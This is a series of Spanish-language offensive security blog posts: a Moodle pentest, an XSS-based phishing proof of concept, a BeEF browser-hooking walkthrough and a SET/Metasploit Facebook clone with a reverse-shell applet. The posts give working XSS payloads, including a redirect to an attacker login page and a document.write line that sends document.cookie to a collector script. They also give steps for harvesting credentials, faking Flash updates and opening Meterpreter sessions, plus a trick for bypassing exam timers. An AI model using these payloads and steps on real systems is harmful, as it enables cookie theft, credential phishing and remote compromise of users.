Pentesting Moodle II - Desde dentro

Buenas compañeros,

Este post es la segunda parte de la entrada Pentesting Moodle relacionado con la investigación que hice en mi trabajo de fin de grado. En la primera parte Pentesting con Moodle I - Desde fuera el pentesting se basó en un enfoque de caja negra, es decir, sin tener ningún tipo de conocimiento emulando el rol de un posible atacante.

En este caso, se va a enfocar el rol de caja blanca o caja negra con acceso a la parte privada de la aplicación web con mínimos privilegios, es decir, se está emulando el rol de un alumno o de un profesor (una cuenta cuenta con un nivel intermedio de privilegios).

Vamos al lío!

Enumeración de usuarios

Nuevamente dentro de la aplicación es posible realizar una enumeración de usuarios. Entrando en el perfil del usuario que se tiene en la url se pueda observar un id= X

De esta manera, se puede deducir que el usuario actual tiene el id = 4, por lo tanto, si se va variando a el valor del id, se podría ir accediendo a los perfiles públicos de los diferentes usuarios que estén en la plataforma registrados.

Tras realizar un par de posibles enumeraciones se observan los siguientes resultados:

Usuario registrado pero no se tiene acceso (controles de autorización)  Esto es debido a dos motivos: alumno registrado en un curso diferente del actual o por ser un usuario con privilegios (administrador o profesor de otros cursos).

Usuario no registrado: ID no asociado a ningún usuario.

Usuario con permisos accesible: Se está accediendo al perfil de un profesor que está matriculado en nuestro curso, de ahí que se pueda visualizar su perfil así como conocer el id que tiene asociado en la plataforma que es una información útil para posibles intentos de intrusión.

Además Moodle está permitiendo la visualización de un listado de los usuarios matriculados en un curso (tanto profesor/es como alumnos) con datos interesantes como los correos electrónicos para posibles campañas de phishing.

Esta información puede ser utilizada para atacar la aplicación web, por ejemplo, a través de un ataque de fuerza bruta o un ataque de usuarios/contraseñas predeterminadas.

Con la información recolectada se podría crear un diccionario personalizado con la combinación de nombre y apellidos, o a través de partes del nombre de la aplicación o cualquier otro dato significante a través de la información obtenida en su perfil, una vez que se sabe que está registrado en la aplicación.

Incorrecta configuración de seguridad

Esta vulnerabilidad es bastante peculiar...Los que habéis tenido que hacer algún examen a través de Moodle seguro que os hubiera gustado poder parar el contador del examen o incluso suprimirlo...pues resulta que es posible...

Adquiriendo el rol de alumno que se dispone a realizar un test que tiene un tiempo de duración limitada.

Sabiendo que el contador de tiempo se encuentra implementado con JavaScript, se realiza como prueba de concepto la deshabilitación de JavaScript empleando el complemento de Firefox Mozilla, NoScript. De tal manera, que se obtiene como resultado saltarse la duración por tiempo limitado para la realización del test.

Mientras que deshabilitando JavaScript desaparece el contador del tiempo para finalizar el test. El aspecto para la realización del test es el siguiente:

Cross Site Scripting (XSS) almacenado

Verificando la posibilidad de XSS almacenado en los test correspondiente al módulo quiz. Adquiriendo el rol de profesor (con permisos de edición) quien tiene la capacidad de poder editar un curso para añadir foros, exámenes, noticias,…se verifica que es vulnerable a XSS.

Citar que los compañeros de @FluProject, desarrollaron una herramienta llamado Flunym0us  para enumerar plugins de Moodle.

Como prueba de concepto se introduce código JavaScript tanto en el contenido de la pregunta como en la retroalimentación de la pregunta. Esto es posible pues permite el uso de HTML en el contenido tanto de la pregunta del test como en la retroalimentación del mismo.

<𝑠𝑐𝑟𝑖𝑝𝑡>𝑎𝑙𝑒𝑟𝑡(‘𝑉𝑢𝑙𝑛𝑒𝑟𝑎𝑏𝑙𝑒 𝑋𝑆𝑆’)</𝑠𝑐𝑟𝑖𝑝𝑡>

De tal manera que nada más iniciar el examen cuando se muestra la primera pregunta aparece el alert:

Análogamente tomando el rol de profesor, añadiendo el recurso “Página” es posible explotar la vulnerabilidad XSS en la descripción y/o contenido de la página al posibilitar introducir código HTML.

 De esta manera se inyecta código JavaScript y al no existir mecanismos de protección anti-XSS en este recurso se posibilita explotar la vulnerabilidad. Inyectando el código:

<𝑠𝑐𝑟𝑖𝑝𝑡 𝑡𝑦𝑝𝑒 =”𝑡𝑒𝑥𝑡/𝑗𝑎𝑣𝑎𝑠𝑐𝑟𝑖𝑝𝑡”>𝑎𝑙𝑒𝑟𝑡(𝑑𝑜𝑐𝑢𝑚𝑒𝑛𝑡.𝑐𝑜𝑜𝑘𝑖𝑒)</𝑠𝑐𝑟𝑖𝑝𝑡>

Se consigue visualizar la cookie del usuario que accede al recurso como se muestra en la siguiente figura:

En las diferentes entradas del blog, se han desarrollando pruebas de concepto de los riegos de un XSS y como explotarlos: phishing manual explotando xss y automatizando  vulnerabilidades xss con beEF

Exposición de información sensible

Existe una exposición de información debido a un incorrecto control de autorización desde el exterior, esto es, un usuario sin estar logueado en la plataforma podría acceder a información sensible desde el exterior a través de rutas predecibles o fáciles de descubrir empleando herramientas como dirbuster.

Acceso README.txt:

Como ya se detalló en el post anterior, el acceso al fichero README.txt desvela información sensible como la ruta para ejecutar el script cron.php

Listing herramientas del panel de administrador:

Se puede acceder al listado de directorios de las herramientas disponibles por el administrador:

Acceso documento explicativo de cookies:

A su vez, es posible acceder a través de la URL a un fichero que explica las cookies que soportan y su uso:

Errores y excepciones no controladas:

Numerosos errores y excepciones no controladas que facilitan el conocimiento de información como son los parámetros que esperan recibir.

Citar que las pruebas que se han mostrador se han realizado en entornos controlados y virtuales, por lo que la finalidad de esta entrada es con fines educativas y formativos, no nos hacemos responsables de uso para otro fin.


Espero que os haya gustado :) ¡Para cualquier cosa, usad el apartado de comentarios!

La mejor defensa es un buen ataque.

NaxHack5

PoC: Phishing manual explotando un XSS

Buenas compañeros,

Hace un tiempo que no he podido publicar pero uno también tiene que atender sus responsabilidades =D como se suele decir, lo bueno se hace de rogar.

En el blog ya tenemos un par de pruebas de concepto de cómo montar un phishing, ya sea SET o con el framework phishing frenzy todo empleando software especializado. En este post, se va aprovechar una vulnerabilidad de XSS para desarrollar un phishing.

Para ello, como siempre se va a emplear un escenario controlado, ya sabéis hay jugar pero sin meterse en líos. En este caso, se ha empleado la aplicación web WackoPicko, que se encuentran dentro del proyecto OWASP Broken Web APP

Se trata de la típica aplicación que nos podemos encontrar que tiene un buscador de productos. Normalmente cuando veamos algo así, nos entra mono de probar si puede ser vulnerable a un XSS o SQL Injection,pues vamos a ello!

En la barra de buscador se podría intentar incrustar código script. Como prueba de concepto para detectar si el sitio web es vulnerable se introduce el típico código:

<script>alert(“XSS”)</script>

Verificando que es vulnerable, se podría incrustar un XSS persistente, de tal manera, que un usuario legítimo de la aplicación se podría conectar o si ya estuviera autenticado (sería demasiado bueno) y se le redirige a una página idéntica en la que se le indica que se ha producido un error y se tiene que volver a loguear, es decir, implementar un phishing aprovechando una vulnerabilidad de XSS.

Entonces por partes, en primer lugar, insertarmos el código del XSS persistente:

'><script>document.location="http://172.16.1.2/login.html";</script>

A continuación el código del HTML (login.html) que se basa en copiar el código pero no nos descargamos las fuentes sino que las llamamos mediante peticiones.

De tal manera, que el usuario que se vaya al buscador, se le redirige a la página del phishing:

En el fichero HTML (login.html), se está recogiendo las fuentes de la página inicial lo cual tiene dos implicaciones, una de rendimiento que es muy óptimo la página no tarda nada en cargarse, lo cual no levanta sospechosas al usuario, mientras que la segunda desde el punto de vista de la seguridad no es adecuada hacer peticiones a los recursos de un sitio web si estás tratando de usurparlo, esta actividad levanta muchas sospechas.

Se  ha creado el fichero login.html pues ahí se encuentra cargado el servidor Apache y el intérprete de PHP.

Lo que se pretende con este phishing es dos objetivos:

- Robo de credenciales.

- Robo de cookies de usuarios autenticados.

Es posible que algún usuario se encuentra autenticado y al entrar en el buscador directamente nos podemos hacer con su cookie sin necesidad de que introduzca sus credenciales.

Para ello, se crean dos pequeños scripts:

- takelogin.php

- takecookie.php

En el panel de login, en el form se llama mediante el action POST al fichero takelogin.php

Recoge el username y password. Para que no sea visible para la víctima potencial se emplea la función header y se incluye la dirección “verdadera” para que se autentique de nuevo.

En la siguiente captura se observan las peticiones ambos scripts:

Es importante crear manualmente el fichero de texto dónde se van a guardar y sobretodo darle permisos (chmod 777 login.txt). 

Y como se ve en el fichero .txt tenemos los credenciales:

Una vez autenticado, se redirige a la página oficial indicando que los datos introducidos son incorrectos:

Para la recogida de cookies en el propio fichero de login.html se incluye el siguiente código JavaScript:

document.write("<img width='0px' height'0px' src='http://localhost/takecookie.php?cookie=" + document.cookie +  "'>");

En este se aprovecha el tag de una imagen para incluir una llamada a takecookie.php que recoge la cookie.

El código del script takelogin.php es:

Viendo el fichero de las cookies:

Con el valor de estas cookies, se intentaría usar para loguearse empleado una sesión activa de un usuario, ya sabéis empleando un proxy interceptador.

Y esto es todo, espero que os haya molado ver como aprovechando una vulnerabilidad de XSS se puede montar un phishing de manera manual. Para que luego digan que las vulnerabilidades de XSS son sólo para poner un alert o un defacement =D

Ya sabéis para cualquier ayuda, sugerencia, queja o agradecimiento ahí están los comentarios, usadlos! y estaré encantado de responderlos.

Esta entrada está destinada a fines académicos en entornos controlados sin suponer sin ningún impacto. No nos hacemos responsables de uso para otros fines.

Saludos.

La mejor defensa es un buen ataque.

NaxHack5

Automatizando vulnerabilidades XSS con BeEF

Buenas compañeros,

Con esta entrada quería presentaros, aunque imagino que algunos ya lo conoceréis, la herramienta BeEF. Desde mi punto de vista es un pasada de herramienta muy útil y recomendable.

BeEF es una herramienta para automatizar ataques XSS contra aplicaciones web vulnerables del lado del cliente. BeEF contiene un gran arsenal de payloads y ataques contra el objetivo  para conseguir información útil como el sistema operativo, cookies, IP, navegador,...

BeEF ya se encuentra integrada en Kali Linux, por lo que prácticamente nos basaremos en su arranque y ya la tendremos lista para jugar.

Para ello, accediendo a la ruta /usr/share/beef-xss. 

Una vez ahí se ejecuta el fichero beEF: ./beef

También se puede ejecutar clicando en el icono del herramienta en la barra que han añadido en Kali Linux 2.0

Como se observa en la captura anterior, se puede acceder vía web en la url indicada:

http://127.0.0.1:3000/ui/panel

De tal manera que se accede al panel de login:

Seguidamente, introduciendo los credenciales por defecto (beef/beef), se consigue acceso:

Una vez con BeEF ya listo, comienza la prueba de concepto (PoC).

En primer lugar, hay que detectar una vulnerabilidad XSS reflejado o persistente en un aplicación web. Entonces introduciendo una inyección de código del estilo:

'><script>document.location="URL";</script>

BeEF tiene dos escenarios montados en un Apache,siendo uno de ellos algo más currado que es el que vamos a emplear:

Por lo tanto, se inyecta esta url en el input que detectemos vulnerable en una aplicación web:

'><script>document.location="http://172.16.1.2:3000/demos/butcher/index.html";</script>

Para esconder un poco la url, podemos utilizar acortadores de url online como https://bitly.com/ 

De esta manera, cuando una víctima entre en el XSS será redirigido a la página de beEF y se convertirá en un zoombie. Se entiende por zoombie, a un cliente, siendo éste el navegador web de la víctima que tras haber sido objeto de un XSS se dirige a una página controlado por BeEF.

En dicha página, se ejecuta el script (http://127.0.0.1:3000/hook.js) de hook, que se ejecuta cuando la víctima visita la página de BeEf.

Cuando una víctima se conecta, aparece en la vista de "Hooked Browsers":

Como se puede apreciar, un PC con la IP 192.168.1.33 con un sistema operativo Linux y con el navegador Firefox se ha conectado. En la vista de detalles, se aloja información muy útil de la víctima: versión de navegador y sistema operativo, componentes de software instalados (flash, RealPlayer, QuickTime,...)

En la vista de Logs, irán apareciendo todos los eventos del zoombie, mientras que la más interesante es la de Commands, en la que se tienen todos los módulos de BeEF.

Hay que indicar la leyenda de los módulos:

- Verde: La víctima es vulnerable y su ejecución pasa desapercibida.

- Naranja: La víctima es vulnerable pero su ejecución no pasa desapercibida.

- Gris: Indeterminado. ¡Hemos venido a jugar!

- Rojo: La víctima no es vulnerable.

Para comenzar es puede hacer un poco de fingerprinting.  Para ejecutar cualquier módulo es tan fácil como clicar en el, rellenar lo que se pida y en la parte inferior clicar en ejecutar.

Por ejemplo, se podría obtener la cookie:

Detectar si tiene RealPlayer:

Vamos a lo divertido, hay un módulo para que la víctima proporcione permisos para activar la cámara por ejemplo,

Sin embargo, en este caso no usa cámara, pero el mensaje que ve el zoombie es el siguiente:

Revisando los logs, podemos saber todo lo que ha hecho la víctima una vez ha visitado la página de BeEF

Como se muestra en la imagen, se ve todos los datos que ha introducido en los inputs del formulario de la página (un buen keylogger ejecutándose). También dónde ha movido el ratón, prácticamente se puede monitorizar todo el comportamiento del zoombie.¿Mola eh?

Volviendo a los módulos, podríamos instar a la víctima a descargarse una versión de Flash Player (que siempre hay que estar actualizando debido a toda las vulnerabilidades que tiene).

Para ello, en la vista de Ingeniería Social -> Fake Flash Update. En él se indica lo que se desea que se descargue la víctim (por defecto, viene el código de github de BeEF), pero si fueramos chicos malos, podríamos hacer que se bajará un keylogger...

En el zoombie, se vería la siguiente ventana:

Independientemente de donde clique el zoombie (Instalar, recordar más tarde, cerrar o incluso cambiar de pestaña) se pedí confirmación para la descarga del supuesto Flash.

Por último, tiene módulos para hacer un phishing tanto de gmail como de Facebook. En la mismo sección de Ingeniería Social seleccionando Google Phishing:

De tal manera, que la víctima vería el panel de login de gmail, que visualmente es igual.

De tal manera, si una víctima que no se dé cuenta, introduce sus datos, se le indicará que se ha producido un error y se le redirigirá automáticamente al sitio web oficial de gmail.

Mientras tanto en BeEF, nos aparecerán en BeEF:

Como habéis podido ver BeEF es una herramienta muy poderosa para automatizar ataques XSS secuestrando el navegador de la víctima. Ahora bien, estos ataques sólo funcionan mientras la víctima se encuentre en la página trampa de BeEF si no, no tiene efecto. Una vez que cierre el navegador se acabo, BeEF no tiene persistencia en la víctima. Sin embargo, mientras éste ahí se pueden explotar muchas cosas.

Además, BeEF se puede integrar con Metasploit para trabajar conjuntamente. Adicionalmente, hay otra herramienta llamada Subterfuge que posibilita realizar ataques Man in the Middle y también es integrable con BeeF.

Os puedo adelantar que se harán tutoriales y PoC's de estas integraciones pero más adelante =D

La finalidad de esta entrada es con fines educativos, por lo que no somos responsables para otro uso que se le pueda dar.

Espero que les guste =D

Cualquier duda dejen su comentario.

Saludos.

NaxHack5

La mejor defensa es un buena ataque

Ingeniería Social con SET y Metasploit

Buenas a todxs.

Hoy me estreno en este blog para presentaros una herramienta muy interesante orientada a la Ingeniería Social. Su nombre es SET (Social-Engineering Toolkit) y se encuentra disponible en la distribución Kali Linux.

La demo que vamos a realizar en cuestión, será la clonación (phishing) de la web de Facebook, a la vez que realizamos una infección mediante un applet de Java, que controlaremos posteriormente mediante Meterpetrer de Metasploit.

Ante todo, indicar que como obviamente todxs sabemos, esta actividad es meramente educativa y no debería usarse para cometer actos impuros.

Dicho lo dicho, ¡al turrón!

Lo primero que debemos hacer será ejecutar la herramienta en una terminal con el comando setoolkit y seleccionamos la primera opción del menú que se nos muestra: Social-Engineering Attacks.

En el siguiente menú tomaremos la segunda opción: Website Attack Vectors.

A continuación, se nos mostrarán diferentes tipos de ataques. Nosotros nos centraremos en el primero: Java Applet Attack Method.

Se nos mostrará otro nuevo submenú, donde elegiremos el modo en el que queremos crear el phishing. En este caso, haremos una clonación de una página con la segunda opción: Site Cloner.

Una vez seleccionado, se nos preguntará si vamos a usar NAT/Port Forwarding para nuestro ataque, pero como vamos a realizar la prueba en una red local pondremos: “no”.

Introducimos la IP de la máquina donde estamos albergando el phishing.

En el siguiente menú seleccionamos qué applet vamos a utilizar. Al tratarse de un ejemplo sencillo, no nos complicaremos y tiraremos de un applet de SET (opción 2).

En este punto es cuando introduciremos la web que deseamos clonar. Para esta demo he seleccionado Facebook.

Una vez introducida, la web se clonará y pasaremos a la selección del payload.

Para continuar bajo la premisa del mínimo esfuerzo y máxima eficiencia elegiremos la primera opción: Meterpreter Memory Injection (DEFAULT) y podremos el puerto 443 en escucha:

Dentro de la opción elegida utilizaremos Reverse TCP, para que sea la victima la que se conecte a nosotros.

Llegados a este punto, ¡habemus phishing!

Veremos cómo se levanta el servidor Apache2 para publicar nuestra web (ya sabéis… /var/www/) y a continuación se ejecutará el Framework Metasploit.

Ahora abriremos desde otro equipo (o máquina virtual) que tengamos en nuestra red, la IP dónde tenemos el phishing.

En este punto, si queréis, se podría hacer un DNS Spoofing para redirigir el tráfico de la víctima cuanto intente acceder a facebook.com hacia nuestra IP (entre otras cositas que se os ocurran).

Pero ahora tenemos un problema… “con la iglesia hemos dado, Sancho”.

Según hemos planteado este ataque, si tenemos actualizado Java SE a su última versión, se nos bloqueará la infección mediante el applet (pero mantendremos el phishing, eso sí). Una mala costumbre que tiene Java de no confiar en las firmas autofirmadas…

Para saltarnos este bloqueo tendremos que añadir en la configuración del Panel de Control de Java la IP del atacante. Sí, lo sé… nadie va a infectarse con el applet, pero recordad que tenéis la posibilidad de lanzar vuestro propio applet o utilizar otros tipos de ataques (además es un ejemplo educativo y lo sabéis).

Añadida la IP, procedemos a acceder a través de un navegador fantástico como es IE y aceptamos que somos unos incautos que queremos ser infectados a pesar de la notificación de riesgo de seguridad que nos emiten.

Una vez aceptado e introducidos las credenciales de nuestra cuenta, se nos redirigirá a la página oficial de Facebook, como si nos hubiésemos equivocado al introducir las credenciales y aquí nadie se hubiera comido un bicho rico, rico y con fundamento.

Una vez infectado el sistema de la víctima, en nuestra máquina atacante podremos ver cómo se ha registrado en el Meterpreter una nueva sesión.

Para ver las sesiones activas utilizaremos el comando sessions y para acceder a una de ellas: sessions -i númeroDeSesion.

Para comprobar que todo funciona correctamente, podemos utilizar el comando preferido por los stalkers: screenshot

Et Voilà!

Con esto finiquitamos el Briconsejo de hoy, no olvidéis echar el sustrato, siempre mucho sustrato para los geranios.

“La educación es el arma más poderosa que se puede usar para cambiar el mundo” y no lo digo yo, lo dijo Mandela.


Pablo Lorenzo